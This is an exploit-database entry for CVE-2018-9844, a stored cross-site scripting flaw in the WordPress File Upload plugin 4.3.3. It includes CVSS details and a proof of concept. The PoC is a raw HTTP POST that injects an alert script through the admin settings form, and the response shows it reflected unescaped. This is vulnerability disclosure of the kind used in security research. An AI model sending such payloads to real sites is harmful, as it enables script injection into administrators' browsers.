Exploitalert - Database of Exploits

WordPress Plugin WordPress File Upload 4.3.3 Stored XSS

CVE	Category	Price	Severity
CVE-2018-9844	CWE-79	$500	High

Author	Risk	Exploitation Type	Date
Jack Doe	High	Remote	2018-04-11

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2018040089

WordPress Plugin WordPress File Upload 4.3.3 Stored XSS

# Exploit Title: WordPress Plugin WordPress File Upload 4.3.3 - Stored XSS # Date: 06/04/2018 # Exploit Author: ManhNho # Vendor Homepage: https://www.iptanus.com/ # Software Link: https://downloads.wordpress.org/plugin/wp-file-upload.zip # Version: 4.3.3 # Tested on: Windows 7 / Cent OS 6.5 # CVE : CVE-2018-9844 # Category : Webapps Description =========== WordPress File Upload is a WordPress plugin with more than 20.000 active installations. Version 4.3.3 (and possibly previous versions) are affected by a Stored XSS vulnerability in the admin panel ,related to the "Edit_Setting" functionality. PoC =============== Request: POST /wp-admin/options-general.php?page=wordpress_file_upload&action=edit_settings HTTP/1.1 Host: 192.168.1.66 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.1.66/wp-admin/options-general.php?page= wordpress_file_upload&action=plugin_settings Content-Type: multipart/form-data; boundary=--------------------- ------27678165033834 Content-Length: 906 Cookie: wordpress_ce39b1fa1561a0e8d46e02ff9e65f6a0=admin%7C1523124759% 7CYpPsz6ePz7L52pKrUk6uFioJlynhadnrSuv2lKQNhJe%7Ca3c7a75afaaf9ce1db3596b8aa83 3adeb337f313ef5156fbf93096c1af0cdbbc; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1522504284; PHPSESSID=o6smfv1u6p8rh7cu7v7gl9lm47; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_ ce39b1fa1561a0e8d46e02ff9e65f6a0=admin%7C1523124759% 7CYpPsz6ePz7L52pKrUk6uFioJlynhadnrSuv2lKQNhJe%7C1993c93121805782b8bee82cd013 6f1a6aa286d4294ed58cb6f95539acdfe5d5 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------27678165033834 Content-Disposition: form-data; name="_wpnonce" c9d5733e36 -----------------------------27678165033834 Content-Disposition: form-data; name="_wp_http_referer" /wp-admin/options-general.php?page=wordpress_file_upload& action=plugin_settings -----------------------------27678165033834 Content-Disposition: form-data; name="action" edit_settings -----------------------------27678165033834 Content-Disposition: form-data; name="wfu_basedir" <script>alert('XSS')</script> -----------------------------27678165033834 Content-Disposition: form-data; name="wfu_postmethod" fopen -----------------------------27678165033834 Content-Disposition: form-data; name="wfu_admindomain" siteurl -----------------------------27678165033834 Content-Disposition: form-data; name="submitform" Update -----------------------------27678165033834-- Response: HTTP/1.1 200 OK Date: Thu, 05 Apr 2018 18:15:01 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28623 ... <input name="wfu_basedir" id="wfu_basedir" type="text" value="<script>alert('XSS')</script>" /> <p style="cursor: text; font-size:9px; padding: 0px; margin: 0px; width: 95%; color: #AAAAAA;">Current value: <strong><script>alert('XSS')</ script></strong></p> ... References =============== https://www.iptanus.com/new-version-4-3-4-of-wordpress-file-upload-plugin/ https://wordpress.org/plugins/wp-file-upload/#developers https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9844

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